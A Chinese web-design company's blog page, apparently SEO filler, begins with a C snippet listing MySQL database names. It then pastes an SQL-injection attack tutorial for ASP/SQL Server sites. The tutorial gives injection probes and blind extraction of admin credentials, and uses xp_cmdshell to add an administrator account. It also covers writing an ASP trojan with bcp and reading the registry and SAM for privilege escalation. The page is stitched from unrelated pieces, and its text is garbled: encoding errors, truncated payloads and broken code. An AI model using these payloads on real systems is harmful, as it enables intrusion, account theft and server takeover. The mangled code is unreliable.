新聞中心
數(shù)據(jù)庫作為重要的數(shù)據(jù)存儲和管理工具,使用廣泛,涵蓋了各個領(lǐng)域。C語言作為一種經(jīng)典的程序設(shè)計語言,擁有高效、穩(wěn)定等優(yōu)秀性能,因此如何利用C語言獲取全部數(shù)據(jù)庫名稱,具有相當操作價值。本文將介紹一種使用C語言獲取全部數(shù)據(jù)庫名稱的簡單高效方法。

站在用戶的角度思考問題,與客戶深入溝通,找到故城網(wǎng)站設(shè)計與故城網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗,讓設(shè)計與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗好的作品,建站類型包括:成都網(wǎng)站設(shè)計、網(wǎng)站制作、企業(yè)官網(wǎng)、英文網(wǎng)站、手機端網(wǎng)站、網(wǎng)站推廣、域名與空間、雅安服務(wù)器托管、企業(yè)郵箱。業(yè)務(wù)覆蓋故城地區(qū)。
一、為何使用C語言?
通過C語言編寫程序,在獲取數(shù)據(jù)庫名稱的過程中,能夠?qū)崿F(xiàn)高效穩(wěn)定的操作。C語言具有以下幾個特點:
1、高速度:C語言執(zhí)行代碼的速度非???,可直接操作底層硬件,因此能夠快速地獲取數(shù)據(jù)庫信息。
2、可移植性:C語言的高度可移植性,能夠在多種不同操作系統(tǒng)和平臺上執(zhí)行,因此可用于跨平臺的程序開發(fā)。
3、靈活性:C語言具有極高的靈活性。程序員可以根據(jù)自身的需要,使用C語言完成各種不同的任務(wù),包括獲取數(shù)據(jù)庫名稱等。
二、如何獲取全部數(shù)據(jù)庫名稱?
獲取全部數(shù)據(jù)庫名稱,需要了解數(shù)據(jù)庫的相關(guān)知識,具體流程如下:
1、首先需要創(chuàng)建一個數(shù)據(jù)庫的對象,使用該對象可以獲取關(guān)于數(shù)據(jù)庫的不同信息。
2、使用該對象的數(shù)據(jù)庫操作語句,執(zhí)行SELECT操作,從數(shù)據(jù)庫中檢索出所有已存在的數(shù)據(jù)的名稱。
3、獲得結(jié)果集,以方便對結(jié)果進行處理。
4、對結(jié)果進行遍歷,提取出所有的數(shù)據(jù)名稱,并將其保存在相關(guān)的列表或變量中。
三、具體實現(xiàn)方法
實現(xiàn)獲取全部數(shù)據(jù)庫名稱的方法,可以參考以下代碼:
“`
#include
#include
#include
int mn()
{
MYSQL *mysql;
MYSQL_RES *result;
MYSQL_ROW row;
mysql = mysql_init(NULL);
mysql_real_connect(mysql, “l(fā)ocalhost”, “username”, “password”, “database”, 0, NULL, 0);
mysql_query(mysql, “SELECT SCHEMA_NAME FROM information_schema.SCHEMATA”);
result = mysql_store_result(mysql);
while ((row = mysql_fetch_row(result)) != NULL)
printf(“%s\n”, row[0]);
mysql_free_result(result);
mysql_close(mysql);
return 0;
}
“`
在該代碼示例中,我們使用MySQL數(shù)據(jù)庫對象,以獲取關(guān)于該數(shù)據(jù)庫的相關(guān)信息。然后使用SELECT操作檢索出該數(shù)據(jù)庫中存在的所有數(shù)據(jù)的名稱,并將其保存在相關(guān)列表或變量中。通過循環(huán)遍歷結(jié)果集,提取出所有的數(shù)據(jù)名稱,并將其打印輸出。
四、
相關(guān)問題拓展閱讀:
- 如何獲取數(shù)據(jù)庫中表名、字段名、字段屬性信息?
- 代碼注入的特征
如何獲取數(shù)據(jù)庫中表名、字段名、字段屬性信息?
我找到并在ACCESS里測試通過了:
在ACCESS里,備注類型用Memo表示,所以改變字段的數(shù)據(jù)類型為備注的SQL為:
ALTER TABLE user ALTER COLUMN userinfo Memo
對了,如果user表有外鍵,而且你要修改的字段就是外鍵的話,你就不能修改啦!
下面給出修改為其它類型的SQL(表為tb,字段為aa):
ALTER TABLE tb ALTER COLUMN aa Byte 數(shù)字
ALTER TABLE tb ALTER COLUMN aa Long 數(shù)豎段渣字
ALTER TABLE tb ALTER COLUMN aa Short 數(shù)字余悄
ALTER TABLE tb ALTER COLUMN aa Single 數(shù)字
ALTER TABLE tb ALTER COLUMN aa Double 數(shù)字
ALTER TABLE tb ALTER COLUMN aa Currency 貨幣
ALTER TABLE tb ALTER COLUMN aa Char 文本
ALTER TABLE tb ALTER COLUMN aa Text(n) 文本,其中n表示字段大小
ALTER TABLE tb ALTER COLUMN aa Binary 二進制
ALTER TABLE tb ALTER COLUMN aa Counter 自動編燃氏號
ALTER TABLE tb ALTER COLUMN aa Memo 備注
ALTER TABLE tb ALTER COLUMN aa Time 日期/時間
無聊~~
如果是db2 的表名:
list tables
得到每一個表枯好的詳細信息字段名,字段屬性(類型,文字長度,備注)瞎州
describe table 具體的表名
平時我就這么獲得沒神鉛這些信息
獲取當前數(shù)據(jù)庫表名:
select name from sysobjects where xtype=’U’and name’dtproperties’
獲取當前表的字段彎爛雀名及屬性:
select a.name, b.xtype,b.name
from syscolumns a
inner JOIN systypes b
ON a.xtype=b.xusertype
inner join sysobjects c ON
a.id=c.id AND c.xtype=’U’ AND c.name歷叢’dtproperties’ where c.name = 表名
或:
SELECT
表名 = CASE a.colorder WHEN 1 THEN c.name ELSE ” END,
序 = a.colorder,
字段名 = a.name,
標識 = CASE COLUMNPROPERTY(a.id,a.name,’IsIdentity’) WHEN 1 THEN ‘√’ ELSE ” END,
主鍵 = CASE
WHEN EXISTS (
SELECT *
FROM sysobjects
WHERE xtype=’PK’ AND name IN (
SELECT name
FROM sysindexes
WHERE id=a.id AND indid IN (
SELECT indid
FROM sysindexkeys
WHERE id=a.id AND colid IN (
SELECT colid
FROM syscolumns
WHERE id=a.id AND name=a.name
)
)
)
)
THEN ‘√’
ELSE ”
END,
類型 = b.name,
字節(jié)數(shù) = a.length,
長度 = COLUMNPROPERTY(a.id,a.name,’Precision’),
小數(shù) = CASE ISNULL(COLUMNPROPERTY(a.id,a.name,’Scale’),0)
WHEN 0 THEN ”
ELSE CAST(COLUMNPROPERTY(a.id,a.name,’Scale’) AS VARCHAR)
END,
允許空 = CASE a.isnullable WHEN 1 THEN ‘埋早√’ ELSE ” END,
默認值 = ISNULL(d.,”),
說明 = ISNULL(e.,”)
FROM syscolumns a
LEFT JOIN systypes b ON a.xtype=b.xusertype
INNER JOIN sysobjects c ON a.id=c.id AND c.xtype=’U’ AND c.name’dtproperties’
LEFT JOIN syscomments d ON a.cdefault=d.id
LEFT JOIN sysproperties e ON a.id=e.id AND a.colid=e.allid
代碼注入的特征
SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別,所以目前市面的防火墻都不會對SQL注入發(fā)出警報,如果管理員沒查看IIS日志的習(xí)慣,可能被入侵很長時間都不會發(fā)覺。但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據(jù)具體情況進行分析,構(gòu)造巧妙的SQL語句,從而成功獲取想要的數(shù)據(jù)。
據(jù)統(tǒng)計,網(wǎng)站用ASP+Access或SQLServer的占70%以上,PHP+MySQL占20%,其他的不足10%。在本文,以SQL-SERVER+ASP例說明SQL注入的原理、方法與過程。(PHP注入的文章由NB聯(lián)盟的另一位朋友zwell撰寫的有關(guān)文章)
SQL注入攻擊的總體思路是:
l 發(fā)現(xiàn)SQL注入位置;
l 判斷后臺數(shù)據(jù)庫類型;
l 確定XP_CMDSHELL可執(zhí)行情況
l 發(fā)現(xiàn)WEB虛擬目錄
l 上傳ASP木馬;
l 得到管理員權(quán)限;
一、SQL注入漏洞的判斷
一般來說,SQL注入一般存在于形如:
等帶有參數(shù)的ASP動態(tài)網(wǎng)頁中,有時一個動態(tài)網(wǎng)頁中可能只有一個參數(shù),有時可能有N個參數(shù),有時是整型參數(shù),有時是字符串型參數(shù),不能一概而論??傊灰菐в袇?shù)的動態(tài)網(wǎng)頁且此網(wǎng)頁訪問了數(shù)據(jù)庫,那么就有可能存在SQL注入。如果ASP程序員沒有安全意識,不進行必要的字符過濾,存在SQL注入的可能性就非常大。
為了全面了解動態(tài)網(wǎng)頁回答的信息,首選請調(diào)整IE的配置。把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。
為了把問題說明清楚,以下以
為例進行分析,YY可能是整型,也有可能是字符串。
1、整型參數(shù)的判斷
當輸入的參數(shù)YY為整型時,通常abc.asp中SQL語句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步驟測試SQL注入是否存在。
①
select * from 表名 where 字段=YY’,abc.asp運行異常;
② and 1=1, abc.asp運行正常,而且與
運行結(jié)果相同;
③ and 1=2, abc.asp運行異常;
如果以上三步全面滿足,旁游蘆abc.asp中一定存在SQL注入漏洞。
2、字符串型參數(shù)的判斷
當輸入的參數(shù)YY為字符串時,通常abc.asp中SQL語句原貌大致如下:
select * from 表名 where 字段=’YY’,所以可以用以下步驟測試SQL注入是否存在。
①
select * from 表名 where 字段=YY’,abc.asp運行異常;
② … 39;1’=’1′, abc.asp運行正常,而且與
運行結(jié)果相同;
③ … 39;1’=’2′, abc.asp運行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
3、特運帶殊情況的處理
有時ASP程序員會在程序員過濾掉單引號等字符,以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法:由于VBS并不區(qū)分大小寫,而程序員在過濾時通常要么全部過濾大寫字符串,要么全部過濾小寫字符串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以磨枝UNICODE字符集實現(xiàn)國際化,我們完全可以IE中輸入的字符串化成UNICODE字符串進行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一;
③ASCII碼法:可以把輸入的部分或全部字符全部用ASCII碼代替,如U=chr(85),a=chr(97)等,ASCII信息參見附件二;
二、區(qū)分數(shù)據(jù)庫服務(wù)器類型
一般來說,ACCESS與SQL-SERVER是最常用的數(shù)據(jù)庫服務(wù)器,盡管它們都支持T-SQL標準,但還有不同之處,而且不同的數(shù)據(jù)庫有不同的攻擊方法,必須要區(qū)別對待。
1、 利用數(shù)據(jù)庫服務(wù)器的系統(tǒng)變量進行區(qū)分
SQL-SERVER有user,db_name()等系統(tǒng)變量,利用這些系統(tǒng)值不僅可以判斷SQL-SERVER,而且還可以得到大量有用信息。如:
①
and user>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當前連接到數(shù)據(jù)庫的用戶名
② … db_name()>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當前正在使用的數(shù)據(jù)庫名;
2、利用系統(tǒng)表
ACCESS的系統(tǒng)表是msysobjects,且在WEB環(huán)境下沒有訪問權(quán)限,而SQL-SERVER的系統(tǒng)表是sysobjects,在WEB環(huán)境下有訪問權(quán)限。對于以下兩條語句:
① and (select count(*) from sysobjects)>0
② and (select count(*) from msysobjects)>0
若數(shù)據(jù)庫是SQL-SERVE,則之一條,abc.asp一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。
3、 MSSQL三個關(guān)鍵系統(tǒng)表
sysdatabases系統(tǒng)表:Microsoft SQL Server 上的每個數(shù)據(jù)庫在表中占一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數(shù)據(jù)庫的項。該表只存儲在 master 數(shù)據(jù)庫中。 這個表保存在master數(shù)據(jù)庫中,這個表中保存的是什么信息呢?這個非常重要。他是 保存了所有的庫名,以及庫的ID和一些相關(guān)信息。
這里我把對于我們有用的字段名稱和相關(guān)說明給大家列出來。name //表示庫的名字。
dbid //表示庫的ID,dbid從1到5是系統(tǒng)的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫。用select * from master.dbo.sysdatabases 就可以查詢出所有的庫名。
Sysobjects:SQL-SERVER的每個數(shù)據(jù)庫內(nèi)都有此系統(tǒng)表,它存放該數(shù)據(jù)庫內(nèi)創(chuàng)建的所有對象,如約束、默認值、日志、規(guī)則、存儲過程等,每個對象在表中占一行。以下是此系統(tǒng)表的字段名稱和相關(guān)說明。
Name,id,xtype,uid,status:分別是對象名,對象ID,對象類型,所有者對象的用戶ID,對象狀態(tài)。
對象類型(xtype)??梢允窍铝袑ο箢愋椭械囊环N:
C = CHECK 約束
D = 默認值或 DEFAULT 約束
F = FOREIGN KEY 約束
L = 日志
FN = 標量函數(shù)
IF = 內(nèi)嵌表函數(shù)
P = 存儲過程
PK = PRIMARY KEY 約束(類型是 K)
RF = 復(fù)制篩選存儲過程
S = 系統(tǒng)表
TF = 表函數(shù)
TR = 觸發(fā)器
U = 用戶表
UQ = UNIQUE 約束(類型是 K)
V = 視圖
X = 擴展存儲過程
當xtype=’U’ and status>0代表是用戶建立的表,對象名就是表名,對象ID就是表的ID值。
用: select * from ChouYFD.dbo.sysobjects where xtype=’U’ and status>0 就可以列出庫ChouYFD中所有的用戶建立的表名。
syscolumns :每個表和視圖中的每列在表中占一行,存儲過程中的每個參數(shù)在表中也占一行。該表位于每個數(shù)據(jù)庫中。主要字段有:
name ,id, colid :分別是字段名稱,表ID號,字段ID號,其中的 ID 是 剛上我們用sysobjects得到的表的ID號。
用: select * from ChouYFD.dbo.syscolumns where id=得到ChouYFD這個庫中,表的ID是中的所有字段列表。
三、確定XP_CMDSHELL可執(zhí)行情況
若當前連接數(shù)據(jù)的帳號具有SA權(quán)限,且master.dbo.xp_cmdshell擴展存儲過程(調(diào)用此存儲過程可以直接使用操作系統(tǒng)的shell)能夠正確執(zhí)行,則整個計算機可以通過以下幾種方法完全控制,以后的所有步驟都可以省
1、
… er>0 abc.asp執(zhí)行異常但可以得到當前連接數(shù)據(jù)庫的用戶名(若顯示dbo則代表SA)。
2、
… me()>0 abc.asp執(zhí)行異常但可以得到當前連接的數(shù)據(jù)庫名。
3、
;exec master..xp_cmdshell net user aaa bbb /add– (master是SQL-SERVER的主數(shù)據(jù)庫;名中的分號表示SQL-SERVER執(zhí)行完分號前的語句名,繼續(xù)執(zhí)行其后面的語句;—號是注解,表示其后面的所有內(nèi)容僅為注釋,系統(tǒng)并不執(zhí)行)可以直接增加操作系統(tǒng)帳戶aaa,密碼為bbb。
4、
;exec master..xp_cmdshell net localgroup administrators aaa /add– 把剛剛增加的帳戶aaa加到administrators組中。
5、
;backuup database 數(shù)據(jù)庫名 to disk=’c:\inetpub\wwwroot\save.db’ 則把得到的數(shù)據(jù)內(nèi)容全部備份到WEB目錄下,再用HTTP把此文件下載(當然首選要知道WEB虛擬目錄)。
6、通過復(fù)制CMD創(chuàng)建UNICODE漏洞
… dbo.xp_cmdshell copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe 便制造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當然首選要知道WEB虛擬目錄)。
四、發(fā)現(xiàn)WEB虛擬目錄
只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進而得到USER權(quán)限。有兩種方法比較有效。
一是根據(jù)經(jīng)驗猜解,一般來說,WEB虛擬目錄是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可執(zhí)行虛擬目錄是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)果并發(fā)現(xiàn)WEB虛擬目錄;
先創(chuàng)建一個臨時表:temp
… mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
接下來:
(1)我們可以利用xp_availablemedia來獲得當前所有驅(qū)動器,并存入temp表中:
temp … ter.dbo.xp_availablemedia;–
我們可以通過查詢temp的內(nèi)容來獲得驅(qū)動器列表及相關(guān)信息
(2)我們可以利用xp_subdirs獲得子目錄列表,并存入temp表中:
into temp(i … dbo.xp_subdirs ‘c:\’;–
(3)我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中:
into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:
如果我們需要查看某個文件的內(nèi)容,可以通過執(zhí)行xp_cmdsell:
into temp(id) exec … nbsp;’type c:\web\index.asp’;–
使用’bulk insert’語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from ‘c:\inetpub\wwwroot\index.asp’
瀏覽temp就可以看到index.asp文件的內(nèi)容了!通過分析各種ASP文件,可以得到大量系統(tǒng)信息,WEB建設(shè)與管理信息,甚至可以得到SA帳號的連接密碼。
當然,如果xp_cmshell能夠執(zhí)行,我們可以用它來完成:
into temp(id)&nbs … cmdshell ‘dir c:\’;–
into temp(id)&n … p_cmdshell ‘dir c:\ *.asp /s/a’;–
通過xp_cmdshell我們可以看到所有想看到的,包括W3svc
into temp(id) exec master.dbo.xp_cmdshe … ub\AdminScripts\adsutil.vbs enum w3svc’
但是,如果不是SA權(quán)限,我們還可以使用
into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–
注意:
1、以上每完成一項瀏覽后,應(yīng)刪除TEMP中的所有內(nèi)容,刪除方法是:
from temp;–
2、瀏覽TEMP表的方法是:(假設(shè)TestDB是當前連接的數(shù)據(jù)庫名)
and (select top& … nbsp;TestDB.dbo.temp )>0 得到表TEMP中之一條記錄id字段的值,并與整數(shù)進行比較,顯然abc.asp工作異常,但在異常中卻可以發(fā)現(xiàn)id字段的值。假設(shè)發(fā)現(xiàn)的表名是xyz,則
and (select top 1 id from … ere id not in(‘xyz’))>0 得到表TEMP中第二條記錄id字段的值。
五、上傳ASP木馬
所謂ASP木馬,就是一段有特殊功能的ASP代碼,并放入WEB虛擬目錄的Scripts下,遠程客戶通過IE就可執(zhí)行它,進而得到系統(tǒng)的USER權(quán)限,實現(xiàn)對系統(tǒng)的初步控制。上傳ASP木馬一般有兩種比較有效的方法:
1、利用WEB的遠程管理功能
許多WEB站點,為了維護的方便,都提供了遠程管理的功能;也有不少WEB站點,其內(nèi)容是對于不同的用戶有不同的訪問權(quán)限。為了達到對用戶權(quán)限的控制,都有一個網(wǎng)頁,要求用戶名與密碼,只有輸入了正確的值,才能進行下一步的操作,可以實現(xiàn)對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。
因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時甚至能夠直接得到USER權(quán)限而瀏覽系統(tǒng),上一步的發(fā)現(xiàn)WEB虛擬目錄的復(fù)雜操作都可省略。
用戶名及密碼一般存放在一張表中,發(fā)現(xiàn)這張表并讀取其中內(nèi)容便解決了問題。以下給出兩種有效方法。
A、 注入法:
從理論上說,認證網(wǎng)頁中會有型如:
select * from admin where username=’XXX’ and password=’YYY’ 的語句,若在正式運行此句之前,沒有進行必要的字符過濾,則很容易實施SQL注入。
如在用戶名文本框內(nèi)輸入:abc’ or 1=1– 在密碼框內(nèi)輸入:123 則SQL語句變成:
select * from admin where username=’abc’ or 1=1 and password=’123′ 不管用戶輸入任何用戶名與密碼,此語句永遠都能正確執(zhí)行,用戶輕易騙過系統(tǒng),獲取合法身份。
B、猜解法:
基本思路是:猜解所有數(shù)據(jù)庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個字段名,猜出表中的每條記錄內(nèi)容。
l 猜解所有數(shù)據(jù)庫名稱
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 0 因為 dbid 的值從1到5,是系統(tǒng)用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1 (name字段是一個字符型的字段和數(shù)字比較會出錯),abc.asp工作異常,可得到之一個數(shù)據(jù)庫名,同理把DBID分別改成7,8,9,10,11,12…就可得到所有數(shù)據(jù)庫名。
以下假設(shè)得到的數(shù)據(jù)庫名是TestDB。
l 猜解數(shù)據(jù)庫中用戶名表的名稱
猜解法:此方法就是根據(jù)個人的經(jīng)驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語句進行判斷
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環(huán),直到猜到系統(tǒng)帳號表的名稱。
讀取法:SQL-SERVER有一個存放系統(tǒng)核心信息的表sysobjects,有關(guān)一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進行訪問。
當xtype=’U’ and status>0代表是用戶建立的表,發(fā)現(xiàn)并分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現(xiàn)方法是:
① and (select top 1 name from TestD … type=’U’ and status>0 )>0 得到之一個用戶建立表的名稱,并與整數(shù)進行比較,顯然abc.asp工作異常,但在異常中卻可以發(fā)現(xiàn)表的名稱。假設(shè)發(fā)現(xiàn)的表名是xyz,則
② and (select top 1 name from TestDB.dbo.sysobjects& … tatus>0 and name not in(‘xyz’))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據(jù)表的名稱,一般可以認定那張表用戶存放用戶名及密碼,以下假設(shè)此表名為Admin。
l 猜解用戶名字段及密碼字段名稱
admin表中一定有一個用戶名字段,也一定有一個密碼字段,只有得到此兩個字段的名稱,才有可能得到此兩字段的內(nèi)容。如何得到它們的名稱呢,同樣有以下兩種方法。
猜解法:此方法就是根據(jù)個人的經(jīng)驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進行判斷
and (select count(字段名) from TestDB.dbo.admin)>0 select count(字段名) from 表名語句得到表的行數(shù),所以若字段名存在,則abc.asp工作正常,否則異常。如此循環(huán),直到猜到兩個字段的名稱。
讀取法:基本的實現(xiàn)方法是
and (select … me(object_id(‘a(chǎn)dmin’),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id(‘a(chǎn)dmin’),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的之一個字段名,當與整數(shù)進行比較,顯然abc.asp工作異常,但在異常中卻可以發(fā)現(xiàn)字段的名稱。把col_name(object_id(‘a(chǎn)dmin’),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。
l 猜解用戶名與密碼
猜用戶名與密碼的內(nèi)容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出字段的長度,然后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。
and (select top&n … nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username為用戶名字段的名稱,admin為表的名稱),若x為某一值i且abc.asp運行正常時,則i就是之一個用戶名的長度。如:當輸入
and (select top … e) from TestDB.dbo.admin)=8時abc.asp運行正常,則之一個用戶名的長度為8
and (sel … ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶帳號表的名稱),若n為某一值i且abc.asp運行正常時,則i對應(yīng)ASCII碼就是用戶名某一位值。如:當輸入
and (sel … ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.asp運行正常,則用戶名的第三位為P(P的ASCII為80);
and (sel … ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.asp運行正常,則用戶名的第9位為!(!的ASCII為33);
猜到之一個用戶名及密碼后,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經(jīng)MD5等方式加密后的信息,還需要用專用工具進行脫密?;蛘呦雀钠涿艽a,使用完后再改回來,見下面說明。
簡單法:猜用戶名用
and (select top 1 … o.admin where username>1) , flag是admin表中的一個字段,username是用戶名字段,此時abc.asp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。
猜用戶密碼:
and (select top 1&nb … B.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時abc.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時是經(jīng)MD5加密的,可以改密碼。
TestDB.dbo.admin set pwd=’ … where username=’www’;– ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)
用同樣的方法當然可把密碼改原來的值。
2、利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp select * from text..foo queryout c:\inetpub\wwwroot\runcommand.asp -c -S localhost -U sa -P foobar (‘S’參數(shù)為執(zhí)行查詢的服務(wù)器,’U’參數(shù)為用戶名,’P’參數(shù)為密碼,最終上傳了一個runcommand.asp的木馬)
六、得到系統(tǒng)的管理員權(quán)限
ASP木馬只有USER權(quán)限,要想獲取對系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限的方法有很多種:
上傳木馬,修改開機自動運行的.ini文件(它一重啟,便死定了);
復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶名密碼;
等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。
七、幾個SQL-SERVER專用手段
1、利用xp_regread擴展存儲過程修改注冊表
另一個有用的內(nèi)置存儲過程是xp_regXXXX類的函數(shù)(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻擊者可以利用這些函數(shù)修改注冊表,如讀取SAM值,允許建立空連接,開機自動運行程序等。如:
exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 確定什么樣的會話連接在服務(wù)器可用。
exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’ 顯示服務(wù)器上所有SNMP團體配置,有了這些信息,攻擊者或許會重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。
2、利用其他存儲過程去改變服務(wù)器
xp_servicecontrol過程允許用戶啟動,停止服務(wù)。如:
(exec master..xp_servicecontrol ‘start’,’schedule’
exec master..xp_servicecontrol ‘start’,’server’)
Xp_availablemedia 顯示機器上有用的驅(qū)動器
Xp_dirtree 允許獲得一個目錄樹
Xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
Xp_loginconfig 獲取服務(wù)器安全信息
Xp_makecab 允許用戶在服務(wù)器上創(chuàng)建一個壓縮文件
Xp_ntsec_enumdomains 列舉服務(wù)器可以進入的域
Xp_terminate_process 提供進程的進程ID,終止此進程
附件一:URLUnicode表(節(jié)選,主要是非字母的字符,RFC1738)
字符 特殊字符的含義 URL編碼
# 用來標志特定的文檔位置 %23
% 對特殊字符進行編碼 %25
& 分隔不同的變量值對 %26
+ 在變量值中表示空格 %2B
/ 表示目錄路徑 %2F
\ %5C
= 用來連接鍵和值 %3D
? 表示查詢字符串的開始 %3F
空格 %20
. 句號 %2E
: 冒號 %3A
附件二:ASCII表(節(jié)選)
Dec Hex Char Dec Hex Char
80 50 P
32 20 (space)Q
33 21 !R
S
35 23 #T
36 24 $Content$nbsp;U
37 25 %V
38 26 &W
39 27 ‘X
40 28 (Y
41 29 ) 90 5A Z
42 2A * 91 5B
43 2B + 92 5C \
44 2C , 93 5D >
45 2DE ^
46 2E . 95 5F _
47 2F /`
a
b
c
d
e
f
g
h
i
58 3A : 106 6A j
59 3B ; 107 6B k
60 3CE n
63 3F ? 111 6F o
p
64 40 @q
65 41 Ar
66 42 Bs
67 43 Ct
68 44 Du
69 45 Ev
70 46 Fw
71 47 Gx
72 48 Hy
73 49 I 122 7A z
74 4A J 123 7B {
75 4B K 124 7C |
76 4C L 125 7D }
77 4D M 126 7E ~
78 4E N 127 7F €
關(guān)于c 獲取全部數(shù)據(jù)庫名稱的介紹到此就結(jié)束了,不知道你從中找到你需要的信息了嗎 ?如果你還想了解更多這方面的信息,記得收藏關(guān)注本站。
成都網(wǎng)站推廣找創(chuàng)新互聯(lián),老牌網(wǎng)站營銷公司
成都網(wǎng)站建設(shè)公司創(chuàng)新互聯(lián)(www.cdcxhl.com)專注高端網(wǎng)站建設(shè),網(wǎng)頁設(shè)計制作,網(wǎng)站維護,網(wǎng)絡(luò)營銷,SEO優(yōu)化推廣,快速提升企業(yè)網(wǎng)站排名等一站式服務(wù)。IDC基礎(chǔ)服務(wù):云服務(wù)器、虛擬主機、網(wǎng)站系統(tǒng)開發(fā)經(jīng)驗、服務(wù)器租用、服務(wù)器托管提供四川、成都、綿陽、雅安、重慶、貴州、昆明、鄭州、湖北十堰機房互聯(lián)網(wǎng)數(shù)據(jù)中心業(yè)務(wù)。
分享文章:利用C語言獲取全部數(shù)據(jù)庫名稱:簡單高效的方法 (c 獲取全部數(shù)據(jù)庫名稱)
文章源于:http://www.dlmjj.cn/article/dpchipp.html


咨詢
建站咨詢
